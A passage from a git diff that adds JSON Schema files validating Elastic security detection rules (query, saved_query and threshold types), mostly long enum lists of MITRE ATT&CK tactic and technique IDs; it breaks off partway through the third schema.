b/etc/api_schemas/7.12/7.12.query.json @@ -0,0 +1,955 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "type": "array" + }, + "author": { + "items": { + "default": "Elastic", + "type": "string" + }, + "minItems": 1, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "default": false, + "type": "boolean" + }, + "exceptions_list": { + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": false, + "properties": { + "$state": { + "additionalProperties": false, + "properties": { + "store": { + "type": "string" + } + }, + "type": "object" + }, + "exists": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + } + }, + "type": "object" + }, + "meta": { + "additionalProperties": false, + "properties": { + "alias": { + "type": "string" + }, + "disabled": { + "type": "boolean" + }, + "indexRefName": { + "type": "string" + }, + "key": { + "type": "string" + }, + "negate": { + "type": "boolean" + }, + "params": { + "properties": { + "query": { + "type": "string" + } + }, + "type": "object" + }, + "type": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "type": "object" + }, + "query": { + "type": "object" + } + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "default": "now-6m", + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "default": "5m", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "language": { + "default": "kuery", + "enum": [ + "kuery", + "lucene" + ], + "type": "string" + }, + "license": { + "default": "Elastic License v2", + "type": "string" + }, + "max_signals": { + "default": 100, + "minimum": 1, + "type": "integer" + }, + "meta": { + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "format": "markdown", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "default": 21, + "maximum": 100, + "minimum": 0, + "type": "integer" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "rule_id": { + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "default": "low", + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "default": "MITRE ATT&CK", + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "TA0009", + "TA0011", + "TA0006", + "TA0005", + "TA0007", + "TA0002", + "TA0010", + "TA0040", + "TA0001", + "TA0008", + "TA0003", + "TA0004" + ], + "type": "string" + }, + "name": { + "enum": [ + "Collection", + "Command and Control", + "Credential Access", + "Defense Evasion", + "Discovery", + "Execution", + "Exfiltration", + "Impact", + "Initial Access", + "Lateral Movement", + "Persistence", + "Privilege Escalation" + ], + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001", + "T1002", + "T1003", + "T1004", + "T1005", + "T1006", + "T1007", + "T1008", + "T1009", + "T1010", + "T1011", + "T1012", + "T1013", + "T1014", + "T1015", + "T1016", + "T1017", + "T1018", + "T1019", + "T1020", + "T1021", + "T1022", + "T1023", + "T1024", + "T1025", + "T1026", + "T1027", + "T1028", + "T1029", + "T1030", + "T1031", + "T1032", + "T1033", + "T1034", + "T1035", + "T1036", + "T1037", + "T1038", + "T1039", + "T1040", + "T1041", + "T1042", + "T1043", + "T1044", + "T1045", + "T1046", + "T1047", + "T1048", + "T1049", + "T1050", + "T1051", + "T1052", + "T1053", + "T1054", + "T1055", + "T1056", + "T1057", + "T1058", + "T1059", + "T1060", + "T1061", + "T1062", + "T1063", + "T1064", + "T1065", + "T1066", + "T1067", + "T1068", + "T1069", + "T1070", + "T1071", + "T1072", + "T1073", + "T1074", + "T1075", + "T1076", + "T1077", + "T1078", + "T1079", + "T1080", + "T1081", + "T1082", + "T1083", + "T1084", + "T1085", + "T1086", + "T1087", + "T1088", + "T1089", + "T1090", + "T1091", + "T1092", + "T1093", + "T1094", + "T1095", + "T1096", + "T1097", + "T1098", + "T1099", + "T1100", + "T1101", + "T1102", + "T1103", + "T1104", + "T1105", + "T1106", + "T1107", + "T1108", + "T1109", + "T1110", + "T1111", + "T1112", + "T1113", + "T1114", + "T1115", + "T1116", + "T1117", + "T1118", + "T1119", + "T1120", + "T1121", + "T1122", + "T1123", + "T1124", + "T1125", + "T1126", + "T1127", + "T1128", + "T1129", + "T1130", + "T1131", + "T1132", + "T1133", + "T1134", + "T1135", + "T1136", + "T1137", + "T1138", + "T1139", + "T1140", + "T1141", + "T1142", + "T1143", + "T1144", + "T1145", + "T1146", + "T1147", + "T1148", + "T1149", + "T1150", + "T1151", + "T1152", + "T1153", + "T1154", + "T1155", + "T1156", + "T1157", + "T1158", + "T1159", + "T1160", + "T1161", + "T1162", + "T1163", + "T1164", + "T1165", + "T1166", + "T1167", + "T1168", + "T1169", + "T1170", + "T1171", + "T1172", + "T1173", + "T1174", + "T1175", + "T1176", + "T1177", + "T1178", + "T1179", + "T1180", + "T1181", + "T1182", + "T1183", + "T1184", + "T1185", + "T1186", + "T1187", + "T1188", + "T1189", + "T1190", + "T1191", + "T1192", + "T1193", + "T1194", + "T1195", + "T1196", + "T1197", + "T1198", + "T1199", + "T1200", + "T1201", + "T1202", + "T1203", + "T1204", + "T1205", + "T1206", + "T1207", + "T1208", + "T1209", + "T1210", + "T1211", + "T1212", + "T1213", + "T1214", + "T1215", + "T1216", + "T1217", + "T1218", + "T1219", + "T1220", + "T1221", + "T1222", + "T1223", + "T1480", + "T1482", + "T1483", + "T1484", + "T1485", + "T1486", + "T1487", + "T1488", + "T1489", + "T1490", + "T1491", + "T1492", + "T1493", + "T1494", + "T1495", + "T1496", + "T1497", + "T1498", + "T1499", + "T1500", + "T1501", + "T1502", + "T1503", + "T1504", + "T1505", + "T1506", + "T1514", + "T1518", + "T1519", + "T1522", + "T1525", + "T1526", + "T1527", + "T1528", + "T1529", + "T1530", + "T1531", + "T1534", + "T1535", + "T1536", + "T1537", + "T1538", + "T1539", + "T1542", + "T1543", + "T1546", + "T1547", + "T1548", + "T1550", + "T1552", + "T1553", + "T1554", + "T1555", + "T1556", + "T1557", + "T1558", + "T1559", + "T1560", + "T1561", + "T1562", + "T1563", + "T1564", + "T1565", + "T1566", + "T1567", + "T1568", + "T1569", + "T1570", + "T1571", + "T1572", + "T1573", + "T1574", + "T1578" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001.001", + "T1001.002", + "T1001.003", + "T1003.001", + "T1003.002", + "T1003.003", + "T1003.004", + "T1003.005", + "T1003.006", + "T1003.007", + "T1003.008", + "T1011.001", + "T1021.001", + "T1021.002", + "T1021.003", + "T1021.004", + "T1021.005", + "T1021.006", + "T1027.001", + "T1027.002", + "T1027.003", + "T1027.004", + "T1027.005", + "T1036.001", + "T1036.002", + "T1036.003", + "T1036.004", + "T1036.005", + "T1036.006", + "T1037.001", + "T1037.002", + "T1037.003", + "T1037.004", + "T1037.005", + "T1048.001", + "T1048.002", + "T1048.003", + "T1052.001", + "T1053.001", + "T1053.002", + "T1053.003", + "T1053.004", + "T1053.005", + "T1055.001", + "T1055.002", + "T1055.003", + "T1055.004", + "T1055.005", + "T1055.008", + "T1055.009", + "T1055.011", + "T1055.012", + "T1055.013", + "T1055.014", + "T1056.001", + "T1056.002", + "T1056.003", + "T1056.004", + "T1059.001", + "T1059.002", + "T1059.003", + "T1059.004", + "T1059.005", + "T1059.006", + "T1059.007", + "T1069.001", + "T1069.002", + "T1069.003", + "T1070.001", + "T1070.002", + "T1070.003", + "T1070.004", + "T1070.005", + "T1070.006", + "T1071.001", + "T1071.002", + "T1071.003", + "T1071.004", + "T1074.001", + "T1074.002", + "T1078.001", + "T1078.002", + "T1078.003", + "T1078.004", + "T1087.001", + "T1087.002", + "T1087.003", + "T1087.004", + "T1090.001", + "T1090.002", + "T1090.003", + "T1090.004", + "T1098.001", + "T1098.002", + "T1098.003", + "T1098.004", + "T1102.001", + "T1102.002", + "T1102.003", + "T1110.001", + "T1110.002", + "T1110.003", + "T1110.004", + "T1114.001", + "T1114.002", + "T1114.003", + "T1127.001", + "T1132.001", + "T1132.002", + "T1134.001", + "T1134.002", + "T1134.003", + "T1134.004", + "T1134.005", + "T1136.001", + "T1136.002", + "T1136.003", + "T1137.001", + "T1137.002", + "T1137.003", + "T1137.004", + "T1137.005", + "T1137.006", + "T1195.001", + "T1195.002", + "T1195.003", + "T1204.001", + "T1204.002", + "T1205.001", + "T1213.001", + "T1213.002", + "T1216.001", + "T1218.001", + "T1218.002", + "T1218.003", + "T1218.004", + "T1218.005", + "T1218.007", + "T1218.008", + "T1218.009", + "T1218.010", + "T1218.011", + "T1222.001", + "T1222.002", + "T1480.001", + "T1491.001", + "T1491.002", + "T1497.001", + "T1497.002", + "T1497.003", + "T1498.001", + "T1498.002", + "T1499.001", + "T1499.002", + "T1499.003", + "T1499.004", + "T1505.001", + "T1505.002", + "T1505.003", + "T1518.001", + "T1542.001", + "T1542.002", + "T1542.003", + "T1543.001", + "T1543.002", + "T1543.003", + "T1543.004", + "T1546.001", + "T1546.002", + "T1546.003", + "T1546.004", + "T1546.005", + "T1546.006", + "T1546.007", + "T1546.008", + "T1546.009", + "T1546.010", + "T1546.011", + "T1546.012", + "T1546.013", + "T1546.014", + "T1546.015", + "T1547.001", + "T1547.002", + "T1547.003", + "T1547.004", + "T1547.005", + "T1547.006", + "T1547.007", + "T1547.008", + "T1547.009", + "T1547.010", + "T1547.011", + "T1548.001", + "T1548.002", + "T1548.003", + "T1548.004", + "T1550.001", + "T1550.002", + "T1550.003", + "T1550.004", + "T1552.001", + "T1552.002", + "T1552.003", + "T1552.004", + "T1552.005", + "T1552.006", + "T1553.001", + "T1553.002", + "T1553.003", + "T1553.004", + "T1555.001", + "T1555.002", + "T1555.003", + "T1556.001", + "T1556.002", + "T1556.003", + "T1557.001", + "T1558.001", + "T1558.002", + "T1558.003", + "T1559.001", + "T1559.002", + "T1560.001", + "T1560.002", + "T1560.003", + "T1561.001", + "T1561.002", + "T1562.001", + "T1562.002", + "T1562.003", + "T1562.004", + "T1562.006", + "T1562.007", + "T1563.001", + "T1563.002", + "T1564.001", + "T1564.002", + "T1564.003", + "T1564.004", + "T1564.005", + "T1564.006", + "T1565.001", + "T1565.002", + "T1565.003", + "T1566.001", + "T1566.002", + "T1566.003", + "T1567.001", + "T1567.002", + "T1568.001", + "T1568.002", + "T1568.003", + "T1569.001", + "T1569.002", + "T1573.001", + "T1573.002", + "T1574.001", + "T1574.002", + "T1574.004", + "T1574.005", + "T1574.006", + "T1574.007", + "T1574.008", + "T1574.009", + "T1574.010", + "T1574.011", + "T1574.012", + "T1578.001", + "T1578.002", + "T1578.003", + "T1578.004" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "type": "string" + }, + "timeline_title": { + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "default": "now", + "type": "string" + }, + "type": { + "default": "query", + "enum": [ + "query" + ], + "type": "string" + } + }, + "required": [ + "rule_id", + "type", + "description", + "name", + "risk_score", + "severity", + "language", + "query", + "author", + "license" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.12/7.12.saved_query.json b/etc/api_schemas/7.12/7.12.saved_query.json new file mode 100644 index 000000000..d085ba476 --- /dev/null +++ b/etc/api_schemas/7.12/7.12.saved_query.json @@ -0,0 +1,946 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "type": "array" + }, + "author": { + "items": { + "default": "Elastic", + "type": "string" + }, + "minItems": 1, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "default": false, + "type": "boolean" + }, + "exceptions_list": { + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": false, + "properties": { + "$state": { + "additionalProperties": false, + "properties": { + "store": { + "type": "string" + } + }, + "type": "object" + }, + "exists": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + } + }, + "type": "object" + }, + "meta": { + "additionalProperties": false, + "properties": { + "alias": { + "type": "string" + }, + "disabled": { + "type": "boolean" + }, + "indexRefName": { + "type": "string" + }, + "key": { + "type": "string" + }, + "negate": { + "type": "boolean" + }, + "params": { + "properties": { + "query": { + "type": "string" + } + }, + "type": "object" + }, + "type": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "type": "object" + }, + "query": { + "type": "object" + } + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "default": "now-6m", + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "default": "5m", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "license": { + "default": "Elastic License v2", + "type": "string" + }, + "max_signals": { + "default": 100, + "minimum": 1, + "type": "integer" + }, + "meta": { + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "format": "markdown", + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "default": 21, + "maximum": 100, + "minimum": 0, + "type": "integer" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "rule_id": { + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "saved_id": { + "type": "string" + }, + "severity": { + "default": "low", + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "default": "MITRE ATT&CK", + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "TA0009", + "TA0011", + "TA0006", + "TA0005", + "TA0007", + "TA0002", + "TA0010", + "TA0040", + "TA0001", + "TA0008", + "TA0003", + "TA0004" + ], + "type": "string" + }, + "name": { + "enum": [ + "Collection", + "Command and Control", + "Credential Access", + "Defense Evasion", + "Discovery", + "Execution", + "Exfiltration", + "Impact", + "Initial Access", + "Lateral Movement", + "Persistence", + "Privilege Escalation" + ], + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001", + "T1002", + "T1003", + "T1004", + "T1005", + "T1006", + "T1007", + "T1008", + "T1009", + "T1010", + "T1011", + "T1012", + "T1013", + "T1014", + "T1015", + "T1016", + "T1017", + "T1018", + "T1019", + "T1020", + "T1021", + "T1022", + "T1023", + "T1024", + "T1025", + "T1026", + "T1027", + "T1028", + "T1029", + "T1030", + "T1031", + "T1032", + "T1033", + "T1034", + "T1035", + "T1036", + "T1037", + "T1038", + "T1039", + "T1040", + "T1041", + "T1042", + "T1043", + "T1044", + "T1045", + "T1046", + "T1047", + "T1048", + "T1049", + "T1050", + "T1051", + "T1052", + "T1053", + "T1054", + "T1055", + "T1056", + "T1057", + "T1058", + "T1059", + "T1060", + "T1061", + "T1062", + "T1063", + "T1064", + "T1065", + "T1066", + "T1067", + "T1068", + "T1069", + "T1070", + "T1071", + "T1072", + "T1073", + "T1074", + "T1075", + "T1076", + "T1077", + "T1078", + "T1079", + "T1080", + "T1081", + "T1082", + "T1083", + "T1084", + "T1085", + "T1086", + "T1087", + "T1088", + "T1089", + "T1090", + "T1091", + "T1092", + "T1093", + "T1094", + "T1095", + "T1096", + "T1097", + "T1098", + "T1099", + "T1100", + "T1101", + "T1102", + "T1103", + "T1104", + "T1105", + "T1106", + "T1107", + "T1108", + "T1109", + "T1110", + "T1111", + "T1112", + "T1113", + "T1114", + "T1115", + "T1116", + "T1117", + "T1118", + "T1119", + "T1120", + "T1121", + "T1122", + "T1123", + "T1124", + "T1125", + "T1126", + "T1127", + "T1128", + "T1129", + "T1130", + "T1131", + "T1132", + "T1133", + "T1134", + "T1135", + "T1136", + "T1137", + "T1138", + "T1139", + "T1140", + "T1141", + "T1142", + "T1143", + "T1144", + "T1145", + "T1146", + "T1147", + "T1148", + "T1149", + "T1150", + "T1151", + "T1152", + "T1153", + "T1154", + "T1155", + "T1156", + "T1157", + "T1158", + "T1159", + "T1160", + "T1161", + "T1162", + "T1163", + "T1164", + "T1165", + "T1166", + "T1167", + "T1168", + "T1169", + "T1170", + "T1171", + "T1172", + "T1173", + "T1174", + "T1175", + "T1176", + "T1177", + "T1178", + "T1179", + "T1180", + "T1181", + "T1182", + "T1183", + "T1184", + "T1185", + "T1186", + "T1187", + "T1188", + "T1189", + "T1190", + "T1191", + "T1192", + "T1193", + "T1194", + "T1195", + "T1196", + "T1197", + "T1198", + "T1199", + "T1200", + "T1201", + "T1202", + "T1203", + "T1204", + "T1205", + "T1206", + "T1207", + "T1208", + "T1209", + "T1210", + "T1211", + "T1212", + "T1213", + "T1214", + "T1215", + "T1216", + "T1217", + "T1218", + "T1219", + "T1220", + "T1221", + "T1222", + "T1223", + "T1480", + "T1482", + "T1483", + "T1484", + "T1485", + "T1486", + "T1487", + "T1488", + "T1489", + "T1490", + "T1491", + "T1492", + "T1493", + "T1494", + "T1495", + "T1496", + "T1497", + "T1498", + "T1499", + "T1500", + "T1501", + "T1502", + "T1503", + "T1504", + "T1505", + "T1506", + "T1514", + "T1518", + "T1519", + "T1522", + "T1525", + "T1526", + "T1527", + "T1528", + "T1529", + "T1530", + "T1531", + "T1534", + "T1535", + "T1536", + "T1537", + "T1538", + "T1539", + "T1542", + "T1543", + "T1546", + "T1547", + "T1548", + "T1550", + "T1552", + "T1553", + "T1554", + "T1555", + "T1556", + "T1557", + "T1558", + "T1559", + "T1560", + "T1561", + "T1562", + "T1563", + "T1564", + "T1565", + "T1566", + "T1567", + "T1568", + "T1569", + "T1570", + "T1571", + "T1572", + "T1573", + "T1574", + "T1578" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001.001", + "T1001.002", + "T1001.003", + "T1003.001", + "T1003.002", + "T1003.003", + "T1003.004", + "T1003.005", + "T1003.006", + "T1003.007", + "T1003.008", + "T1011.001", + "T1021.001", + "T1021.002", + "T1021.003", + "T1021.004", + "T1021.005", + "T1021.006", + "T1027.001", + "T1027.002", + "T1027.003", + "T1027.004", + "T1027.005", + "T1036.001", + "T1036.002", + "T1036.003", + "T1036.004", + "T1036.005", + "T1036.006", + "T1037.001", + "T1037.002", + "T1037.003", + "T1037.004", + "T1037.005", + "T1048.001", + "T1048.002", + "T1048.003", + "T1052.001", + "T1053.001", + "T1053.002", + "T1053.003", + "T1053.004", + "T1053.005", + "T1055.001", + "T1055.002", + "T1055.003", + "T1055.004", + "T1055.005", + "T1055.008", + "T1055.009", + "T1055.011", + "T1055.012", + "T1055.013", + "T1055.014", + "T1056.001", + "T1056.002", + "T1056.003", + "T1056.004", + "T1059.001", + "T1059.002", + "T1059.003", + "T1059.004", + "T1059.005", + "T1059.006", + "T1059.007", + "T1069.001", + "T1069.002", + "T1069.003", + "T1070.001", + "T1070.002", + "T1070.003", + "T1070.004", + "T1070.005", + "T1070.006", + "T1071.001", + "T1071.002", + "T1071.003", + "T1071.004", + "T1074.001", + "T1074.002", + "T1078.001", + "T1078.002", + "T1078.003", + "T1078.004", + "T1087.001", + "T1087.002", + "T1087.003", + "T1087.004", + "T1090.001", + "T1090.002", + "T1090.003", + "T1090.004", + "T1098.001", + "T1098.002", + "T1098.003", + "T1098.004", + "T1102.001", + "T1102.002", + "T1102.003", + "T1110.001", + "T1110.002", + "T1110.003", + "T1110.004", + "T1114.001", + "T1114.002", + "T1114.003", + "T1127.001", + "T1132.001", + "T1132.002", + "T1134.001", + "T1134.002", + "T1134.003", + "T1134.004", + "T1134.005", + "T1136.001", + "T1136.002", + "T1136.003", + "T1137.001", + "T1137.002", + "T1137.003", + "T1137.004", + "T1137.005", + "T1137.006", + "T1195.001", + "T1195.002", + "T1195.003", + "T1204.001", + "T1204.002", + "T1205.001", + "T1213.001", + "T1213.002", + "T1216.001", + "T1218.001", + "T1218.002", + "T1218.003", + "T1218.004", + "T1218.005", + "T1218.007", + "T1218.008", + "T1218.009", + "T1218.010", + "T1218.011", + "T1222.001", + "T1222.002", + "T1480.001", + "T1491.001", + "T1491.002", + "T1497.001", + "T1497.002", + "T1497.003", + "T1498.001", + "T1498.002", + "T1499.001", + "T1499.002", + "T1499.003", + "T1499.004", + "T1505.001", + "T1505.002", + "T1505.003", + "T1518.001", + "T1542.001", + "T1542.002", + "T1542.003", + "T1543.001", + "T1543.002", + "T1543.003", + "T1543.004", + "T1546.001", + "T1546.002", + "T1546.003", + "T1546.004", + "T1546.005", + "T1546.006", + "T1546.007", + "T1546.008", + "T1546.009", + "T1546.010", + "T1546.011", + "T1546.012", + "T1546.013", + "T1546.014", + "T1546.015", + "T1547.001", + "T1547.002", + "T1547.003", + "T1547.004", + "T1547.005", + "T1547.006", + "T1547.007", + "T1547.008", + "T1547.009", + "T1547.010", + "T1547.011", + "T1548.001", + "T1548.002", + "T1548.003", + "T1548.004", + "T1550.001", + "T1550.002", + "T1550.003", + "T1550.004", + "T1552.001", + "T1552.002", + "T1552.003", + "T1552.004", + "T1552.005", + "T1552.006", + "T1553.001", + "T1553.002", + "T1553.003", + "T1553.004", + "T1555.001", + "T1555.002", + "T1555.003", + "T1556.001", + "T1556.002", + "T1556.003", + "T1557.001", + "T1558.001", + "T1558.002", + "T1558.003", + "T1559.001", + "T1559.002", + "T1560.001", + "T1560.002", + "T1560.003", + "T1561.001", + "T1561.002", + "T1562.001", + "T1562.002", + "T1562.003", + "T1562.004", + "T1562.006", + "T1562.007", + "T1563.001", + "T1563.002", + "T1564.001", + "T1564.002", + "T1564.003", + "T1564.004", + "T1564.005", + "T1564.006", + "T1565.001", + "T1565.002", + "T1565.003", + "T1566.001", + "T1566.002", + "T1566.003", + "T1567.001", + "T1567.002", + "T1568.001", + "T1568.002", + "T1568.003", + "T1569.001", + "T1569.002", + "T1573.001", + "T1573.002", + "T1574.001", + "T1574.002", + "T1574.004", + "T1574.005", + "T1574.006", + "T1574.007", + "T1574.008", + "T1574.009", + "T1574.010", + "T1574.011", + "T1574.012", + "T1578.001", + "T1578.002", + "T1578.003", + "T1578.004" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "type": "string" + }, + "timeline_title": { + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "default": "now", + "type": "string" + }, + "type": { + "default": "saved_query", + "enum": [ + "saved_query" + ], + "type": "string" + } + }, + "required": [ + "rule_id", + "type", + "description", + "name", + "risk_score", + "severity", + "saved_id", + "author", + "license" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.12/7.12.threshold.json b/etc/api_schemas/7.12/7.12.threshold.json new file mode 100644 index 000000000..f5c606b16 --- /dev/null +++ b/etc/api_schemas/7.12/7.12.threshold.json @@ -0,0 +1,1004 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "type": "array" + }, + "author": { + "items": { + "default": "Elastic", + "type": "string" + }, + "minItems": 1, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "default": false, + "type": "boolean" + }, + "exceptions_list": { + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": false, + "properties": { + "$state": { + "additionalProperties": false, + "properties": { + "store": { + "type": "string" + } + }, + "type": "object" + }, + "exists": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + } + }, + "type": "object" + }, + "meta": { + "additionalProperties": false, + "properties": { + "alias": { + "type": "string" + }, + "disabled": { + "type": "boolean" + }, + "indexRefName": { + "type": "string" + }, + "key": { + "type": "string" + }, + "negate": { + "type": "boolean" + }, + "params": { + "properties": { + "query": { + "type": "string" + } + }, + "type": "object" + }, + "type": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "type": "object" + }, + "query": { + "type": "object" + } + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "default": "now-6m", + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "default": "5m", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "language": { + "default": "kuery", + "enum": [ + "kuery", + "lucene" + ], + "type": "string" + }, + "license": { + "default": "Elastic License v2", + "type": "string" + }, + "max_signals": { + "default": 100, + "minimum": 1, + "type": "integer" + }, + "meta": { + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "format": "markdown", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "default": 21, + "maximum": 100, + "minimum": 0, + "type": "integer" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "rule_id": { + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "default": "low", + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "default": "MITRE ATT&CK", + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "TA0009", + "TA0011", + "TA0006", + "TA0005", + "TA0007", + "TA0002", + "TA0010", + "TA0040", + "TA0001", + "TA0008", + "TA0003", + "TA0004" + ], + "type": "string" + }, + "name": { + "enum": [ + "Collection", + "Command and Control", + "Credential Access", + "Defense Evasion", + "Discovery", + "Execution", + "Exfiltration", + "Impact", + "Initial Access", + "Lateral Movement", + "Persistence", + "Privilege Escalation" + ], + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001", + "T1002", + "T1003", + "T1004", + "T1005", + "T1006", + "T1007", + "T1008", + "T1009", + "T1010", + "T1011", + "T1012", + "T1013", + "T1014", + "T1015", + "T1016", + "T1017", + "T1018", + "T1019", + "T1020", + "T1021", + "T1022", + "T1023", + "T1024", + "T1025", + "T1026", + "T1027", + "T1028", + "T1029", + "T1030", + "T1031", + "T1032", + "T1033", + "T1034", + "T1035", + "T1036", + "T1037", + "T1038", + "T1039", + "T1040", + "T1041", + "T1042", + 